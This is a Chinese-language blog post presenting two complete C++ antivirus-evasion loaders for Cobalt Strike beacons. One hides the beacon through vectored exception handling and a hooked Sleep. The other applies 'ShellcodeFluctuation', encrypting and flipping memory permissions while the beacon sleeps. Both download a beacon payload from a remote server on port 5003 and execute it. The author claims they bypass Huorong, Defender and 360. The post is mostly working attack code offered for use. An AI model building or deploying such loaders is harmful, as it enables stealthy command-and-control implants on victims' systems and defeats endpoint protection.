免杀-异常处理_内存波动修改

3x1 远程分段加载shellcode+windows异常处理

windows异常处理机制利用原理的文章:https://forum.butian.net/share/783

异常处理的个人简单理解:

我们在上线cs后,cs是默认设置了60秒睡眠的,也就是心跳包机制,这10秒内我们的代码将会被sleep阻塞,60秒后执行命令再次进入睡眠;而我们的代码则可以去sleep函数进行hook,在cs上线后在sleep的时间内把内存改为rw属性,这时候这段时间则可以逃过杀软的内存扫描,(因为一般杀软对rwx属性的可执行权限的内存扫描的比较严格)。但是我们rw属性的内存是没办法执行shellcode的,这就有了下面的windows异常处理的机制,通过AddVectoredExceptionHandler函数去添加一个异常处理函数 ,当代码走到sleep后rw属性的内存时,shellcode没执行权限所以报错0x0005,我们就可以通过异常处理函数 把内存改为可执行,执行完之后继续执行我们的hooksleep修改rw属性,如此反复

代码执行顺序逻辑:

主要是通过window的事件hEvent在触发。

  • 在main函数创建了一个初始是无信号的事件hEvent;
  • 还有一个线程Beacon_set_Memory_attributes负责一直循环接收信号,一收到信号就把属性改为rw并继续把设为无信号,等待信号;
  • hook sleep,我们的sleep函数负责触发事件hEvent后就进入睡眠,sleep是cs自动调用的,可以在cs里面设置sleep时间
  • 总结:cs上线后调用sleep函数触发事件hEvent,修改内存为rw属性并睡眠,睡眠完执行shellcode发现内存异常,触发我们添加的异常函数把内存修改为rwx,执行完命令后cs继续sleep,sleep60秒内又触发事件hEvent,内存又变成rw,这样循环

调试版代码

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include "detours.h"
#include "detver.h"

#pragma comment(lib, "ntdll")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()	   ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

LPVOID shellcode_addr;

LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;


BOOL Vir_FLAG = TRUE;


static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
    Beacon_data_len = dwSize;
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    printf("分配大小:%d", Beacon_data_len);
    printf("分配地址:%llx \n", Beacon_address);
    return Beacon_address;
}

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
    if (Vir_FLAG)
    {
        VirtualFree(shellcode_addr, 0, MEM_RELEASE);
        Vir_FLAG = false;
    }
    printf("sleep时间:%d\n", dwMilliseconds);
    SetEvent(hEvent);
    OldSleep(dwMilliseconds);
}

void Hook()
{
    DetourRestoreAfterWith(); //避免重复HOOK
    DetourTransactionBegin(); // 开始HOOK
    DetourUpdateThread(GetCurrentThread());
    DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
    DetourAttach((PVOID*)&OldSleep, NewSleep);
    DetourTransactionCommit(); //  提交HOOK
}

void UnHook()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
    DetourTransactionCommit();
}

size_t GetSize(char* szFilePath)
{
    size_t size;
    FILE* f = fopen(szFilePath, "rb");
    fseek(f, 0, SEEK_END);
    size = ftell(f);
    rewind(f);
    fclose(f);
    return size;
}

unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
    unsigned char* p = NULL;
    FILE* f = NULL;
    size_t res = 0;
    *size = GetSize(szFilePath);
    if (*size == 0) return NULL;
    f = fopen(szFilePath, "rb");
    if (f == NULL)
    {
        printf("Binary file does not exists!\n");
        return 0;
    }
    p = new unsigned char[*size];
    // Read file
    rewind(f);
    res = fread(p, sizeof(unsigned char), *size, f);
    fclose(f);
    if (res == 0)
    {
        delete[] p;
        return NULL;
    }
    return p;
}

BOOL is_Exception(DWORD64 Exception_addr)
{
    if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
    {
        printf("地址符合:%llx\n", Exception_addr);
        return true;
    }
    printf("地址不符合:%llx\n", Exception_addr);
    return false;
}

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
    printf("FirstVectExcepHandler\n");
    printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
    printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
    {
        printf("恢复Beacon内存属性\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
//这段代码的目的是等待事件 hEvent 被触发,然后修改 Beacon_address 指向的内存区域的保护属性,使其变为可写
{
    printf("Beacon_set_Memory_attributes启动\n");
    while (true)
    {
        WaitForSingleObject(hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
        ResetEvent(hEvent);
    }
    return 0;
}




DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    //BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
        printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    printf("\n[+] Sent %ld Bytes\n", iResult);

    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    
    memset(recvbuf_ptr,0,400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            printf("[+] Received total %d Bytes\n", total_received);
        }
            
        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}



int main(int argc, char** argv) {

    // Validate the parameters
   /* if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }*/

    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5003";
    char* Resource = "beacon64.bin";

    hEvent = CreateEvent(NULL, TRUE, false, NULL);

    PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    if (temp == NULL)
    {
        printf("AddVectoredExceptionHandler调用失败");
        getchar();
        return 0;
    }
    Hook();
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
    CloseHandle(hThread1);

    //getShellcode_Run(argv[1], argv[2], argv[3]);
   int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

   shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
   memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
   VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);

   ((void(*)())shellcode_addr)();


    return 0;

}

火绒动静态免杀,defender静态免杀,360动静态免杀
image.png
image.png
image.png
image.png

3x2 内存权限的波动修改(shellcodefluctuation)

前言

无意间看到一个思路https://github.com/mgeeky/ShellcodeFluctuation,而后找到麦当师傅的博客https://maidang.cool/2022/26991.html#Stager,这里结合自己个人的理解记一篇笔记

整体思路理解

内存查杀时杀软一直会扫描进程中的危险区域,如rx,rwx等有执行属性的内存区域,而我们cs上线后会自动sleep,也就是心跳包机制(和前面的异常处理相似,其实个人感觉这两种思路的本质是一样的,都是让内存权限在可执行和不可执行之间反复横跳)。shellcodefluctuation利用核心思路的就是去hooksleep函数,这里我们先看到hook后sleep的代码

void HookSleep()
{
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
	UnHookSleep();

	if (!memoryInfo.isScanMemory)
		ScanMemoryMap();

	printf("XOR32 key: %X\n", memoryInfo.key);
	EncryptDecrypt();

	printf("===> MySleep(%d)\n\n", dwMilliseconds);
	Sleep(dwMilliseconds);

	EncryptDecrypt();
	HookSleep();
}
  • 先脱钩UnHookSleep();,为了让后面的Sleep(dwMilliseconds);执行睡眠;
  • ScanMemoryMap();为了定位本进程内rwx属性的内存位置,也就是我们beacon的内存位置
  • EncryptDecrypt();先把这块beacon的内存区域加密并且修改为rw,可以使用任何加密
  • Sleep(dwMilliseconds);接着加密后beacon内存进入sleep,这时候便可以躲避内存扫描
  • EncryptDecrypt();在sleep结束后解密并且把执行权限修改为rwx,并执行我们的cs操作
  • HookSleep();最后把sleephook回去,在cs执行完命令后再次sleep又会重复以上循环

总结:所以这里还是利用cs的sleep机制,通过hooksleep执行加密修改内存属性等操作,也是因为cs会反复调用sleep,所以我们可以反复翻转beacon内存属性

各个函数理解

ScanMemoryMap函数

  • 定义好接收内存信息的两个结构体
  • OpenProcess打开进程后VirtualQueryEx检索指定进程的虚拟地址空间中的页范围的信息并存储在msi结构体里
  • 检索到的mbi结构体信息的BaseAddress和size都赋值到我们定义的结构体里面可供后面函数使用
  • 最后索引值自增,并且索引值大于3即跳出循环,因为在本进程里应该最多只有三块可执行的内存页

这里借用麦当师傅的一张图,下图是stager分阶段的执行过程,可以看到申请了三块内存,stagerless不需要额外下载加密的payload,直接加载payload,所以则是两块内存

stage 流程

  1. 申请一个块儿内存(allocate memory)
  2. 复制Stager去这一块儿内存里
  3. 创建一个线程,运行这个Stager
  4. 这个Stager会再次申请一块儿内存(allocate memory)
  5. Stager去下载加密的payload,写入申请的内存中
  6. Stager把执行流程转递给这个加密的payload
  7. 加密的payload自解密成Reflective DLL
  8. 然后把执行流程传递给Reflective DLL
  9. Reflective DLL 申请一个块儿内存(allocate memory)
  10. 然后初始化自己在新的内存里面
  11. 最后reflective DLL 调用payload的入口点函数

image.png

// 定义内存页属性结构体
typedef struct {
	LPVOID address;		// 内存地址
	DWORD size;			// 内存大小
}MemoryAttrib;

// 定义内存信息结构体
typedef struct {
	MemoryAttrib memoryPage[3];	// 最多存储3个内存页属性
	int index;					// 内存下标
	int key;					// 加解密key
	BOOL isScanMemory;			// 是否已查找内存页信息
	BOOL isEncrypt;				// 是否已加密
}MemoryInfo;
MemoryInfo memoryInfo;

// 查找内存页
void ScanMemoryMap()
{
	// 内存块信息结构体
	MEMORY_BASIC_INFORMATION mbi;

	LPVOID lpAddress = 0;
	HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());

	int* index = &memoryInfo.index;

	while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
	{
		// 查找可读可写可执行内存页
		if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)
		{
			
			// 保存内存信息
			memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
			memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
			printf("BaseAddr = %p\n", memoryInfo.memoryPage[*index].address);
			(*index)++;

			if ((*index) >= 3)
				break;
		}
		// 更新到下一个内存页
		lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
	}

	// 更新为已扫描内存
	memoryInfo.isScanMemory = TRUE;

	/* *
	* memoryInfo.index = 2 使用了Stageless Beacon
	* memoryInfo.index = 3 使用了Stage Beacon
	* */

	// 释放shellcode内存页
	VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);

	printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}

EncryptDecrypt函数

  • 拿到beacon真正的地址对其进行加密,这里的加密方法是可以替换的
  • 然后判断进入函数时这块内存是加密过还是未加密的,加密则修改为rw属性,因为加密后我们自然是sleep阶段所以属性也应该是rw,未加密则修改为rwx属性,
  • 这里因为加解密都是使用这个函数,所以通过判断是否加密来修改属性即可
void EncryptDecrypt()
{
	// 定位到真正的Beacon内存页
	MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
	DWORD bufSize = Beacon.size;
	unsigned int* buffer = (unsigned int*)(Beacon.address);
	int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;

	// 对Beacon进行加密或解密
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
    char str_key[] = "132abc";
    key.Buffer = (PUCHAR)(&str_key);
    key.Length = sizeof(str_key);
    scdata.Buffer = (PUCHAR)buffer;
    scdata.Length = bufSizeRounded;
    SystemFunction033(&scdata, &key);

	DWORD oldProt;
	memoryInfo.isEncrypt = !memoryInfo.isEncrypt;

	// 已加密
	if (memoryInfo.isEncrypt == TRUE)
	{
		// 将内存页设置为可读可写
		VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
		printf("[>] Flipped to RW.\n");
	}

	// 未加密
	if (memoryInfo.isEncrypt == FALSE)
	{
		// 将内存页设置为可读可写可执行
		VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
		memoryInfo.key = rand();	// 更新密钥
		printf("[<] Flipped back to RX/RWX.\n");
	}

	printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}

最终代码

加上了远程分段加载

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"
#include <iostream>

#pragma comment(lib, "ntdll")
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")

//#ifdef _WIN64
//#pragma comment(lib,"detours.x64.lib")
//#else
//#pragma comment(lib,"detours.x86.lib")
//#endif

#define DEFAULT_BUFLEN 4096


// 定义内存页属性结构体
typedef struct {
	LPVOID address;		// 内存地址
	DWORD size;			// 内存大小
}MemoryAttrib;

// 定义内存信息结构体
typedef struct {
	MemoryAttrib memoryPage[3];	// 最多存储3个内存页属性
	int index;					// 内存下标
	int key;					// 加解密key
	BOOL isScanMemory;			// 是否已查找内存页信息
	BOOL isEncrypt;				// 是否已加密
}MemoryInfo;

MemoryInfo memoryInfo;


// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();

DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {

	DWORD oldp = 0;
	//BOOL returnValue;

	size_t origsize = strlen(host) + 1;
	const size_t newsize = 100;
	size_t convertedChars = 0;
	wchar_t Whost[newsize];
	mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


	WSADATA wsaData;
	SOCKET ConnectSocket = INVALID_SOCKET;
	struct addrinfo* result = NULL,
		* ptr = NULL,
		hints;
	char sendbuf[MAX_PATH] = "";
	lstrcatA(sendbuf, "GET /");
	lstrcatA(sendbuf, resource);

	char recvbuf[DEFAULT_BUFLEN];
	memset(recvbuf, 0, DEFAULT_BUFLEN);
	int iResult;
	int recvbuflen = DEFAULT_BUFLEN;


	// Initialize Winsock
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		printf("WSAStartup failed with error: %d\n", iResult);
		return 0;
	}

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = PF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	// Resolve the server address and port
	iResult = getaddrinfo(host, port, &hints, &result);
	if (iResult != 0) {
		printf("getaddrinfo failed with error: %d\n", iResult);
		WSACleanup();
		return 0;
	}

	// Attempt to connect to an address until one succeeds
	for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

		// Create a SOCKET for connecting to server
		ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
			ptr->ai_protocol);
		if (ConnectSocket == INVALID_SOCKET) {
			printf("socket failed with error: %ld\n", WSAGetLastError());
			WSACleanup();
			return 0;
		}

		// Connect to server.
		printf("[+] Connect to %s:%s", host, port);
		iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
		if (iResult == SOCKET_ERROR) {
			closesocket(ConnectSocket);
			ConnectSocket = INVALID_SOCKET;
			continue;
		}
		break;
	}

	freeaddrinfo(result);

	if (ConnectSocket == INVALID_SOCKET) {
		printf("Unable to connect to server!\n");
		WSACleanup();
		return 0;
	}

	// Send an initial buffer
	iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
	if (iResult == SOCKET_ERROR) {
		printf("send failed with error: %d\n", WSAGetLastError());
		closesocket(ConnectSocket);
		WSACleanup();
		return 0;
	}

	printf("\n[+] Sent %ld Bytes\n", iResult);

	// shutdown the connection since no more data will be sent
	iResult = shutdown(ConnectSocket, SD_SEND);
	if (iResult == SOCKET_ERROR) {
		printf("shutdown failed with error: %d\n", WSAGetLastError());
		closesocket(ConnectSocket);
		WSACleanup();
		return 0;
	}


	memset(recvbuf_ptr, 0, 400000);
	DWORD total_received = 0;
	// Receive until the peer closes the connection
	do {

		iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
		if (iResult > 0)
		{
			printf("[+] Received %d Bytes\n", iResult);
			memcpy(recvbuf_ptr, recvbuf, iResult);
			recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
			total_received += iResult; // 更新接收到的总字节数
			printf("[+] Received total %d Bytes\n", total_received);
		}

		else if (iResult == 0)
			printf("[+] Connection closed\n");
		else
			printf("recv failed with error: %d\n", WSAGetLastError());


		//RunShellcode(recvbuf, recvbuflen);

	} while (iResult > 0);


	// cleanup
	closesocket(ConnectSocket);
	WSACleanup();

	return total_received;
}

// 查找内存页
void ScanMemoryMap()
{
	// 内存块信息结构体
	MEMORY_BASIC_INFORMATION mbi;

	LPVOID lpAddress = 0;
	HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());

	int* index = &memoryInfo.index;

	while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
	{
		// 查找可读可写可执行内存页
		if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)//私有内存(MEM_PRIVATE)
		{
			// 保存内存信息
			memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
			memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
			//printf("memoryInfo.BaseAddr = %p address = %p\n", memoryInfo.memoryPage[*index].address, mbi.BaseAddress);
			(*index)++;

			if ((*index) >= 3)
				break;

		}
		// 更新到下一个内存页
		lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
	}

	// 更新为已扫描内存
	memoryInfo.isScanMemory = TRUE;


	/* *
	* memoryInfo.index = 2 使用了Stageless Beacon
	* memoryInfo.index = 3 使用了Stage Beacon
	* */


	// 释放shellcode内存页
	VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);

	printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} scdata, key;
// 加解密Beacon
void EncryptDecrypt()
{
	// 定位到真正的Beacon内存页
	MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
	DWORD bufSize = Beacon.size;
	unsigned int* buffer = (unsigned int*)(Beacon.address);
	int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;

	// 对Beacon进行加密或解密
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
	char str_key[] = "132abc";
	key.Buffer = (PUCHAR)(&str_key);
	key.Length = sizeof(str_key);
	scdata.Buffer = (PUCHAR)buffer;
	scdata.Length = bufSizeRounded;
	SystemFunction033(&scdata, &key);

	DWORD oldProt;
	memoryInfo.isEncrypt = !memoryInfo.isEncrypt;

	// 已加密
	if (memoryInfo.isEncrypt == TRUE)
	{
		// 将内存页设置为可读可写
		VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
		printf("[>] Flipped to RW.\n");
	}

	// 未加密
	if (memoryInfo.isEncrypt == FALSE)
	{
		// 将内存页设置为可读可写可执行
		VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
		memoryInfo.key = rand();	// 更新密钥
		printf("[<] Flipped back to RX/RWX.\n");
	}

	printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}

// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
	UnHookSleep();

	if (!memoryInfo.isScanMemory)
		ScanMemoryMap();

	printf("XOR32 key: %X\n", memoryInfo.key);
	EncryptDecrypt();

	printf("===> MySleep(%d)\n\n", dwMilliseconds);
	Sleep(dwMilliseconds);

	EncryptDecrypt();
	HookSleep();
}

// 挂钩
void HookSleep()
{
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
// 初始化内存页信息
void InitMemoryInfo()
{
	srand(time(NULL));
	memoryInfo.index = 0;
	memoryInfo.isScanMemory = FALSE;
	memoryInfo.isEncrypt = FALSE;
	memoryInfo.key = rand();	// 随机key
}


int main(int argc, char** argv)
{
	char* recvbuf_ptr = (char*)malloc(400000);
	char* ip = "";
	char* RemotePort = "5003";
	char* Resource = "bea.bin";
	int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
	

	LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
	if (!lpAddress) return 0;
	memcpy(lpAddress, recvbuf_ptr, recvbuf_size);
	DWORD oldProtect;
	VirtualProtect(lpAddress, recvbuf_size, PAGE_EXECUTE, &oldProtect);

	InitMemoryInfo();
	HookSleep();

	(*(int(*)()) lpAddress)();
}

posted @ 2024-04-06 22:08  小新07  阅读(107)  评论(0编辑  收藏  举报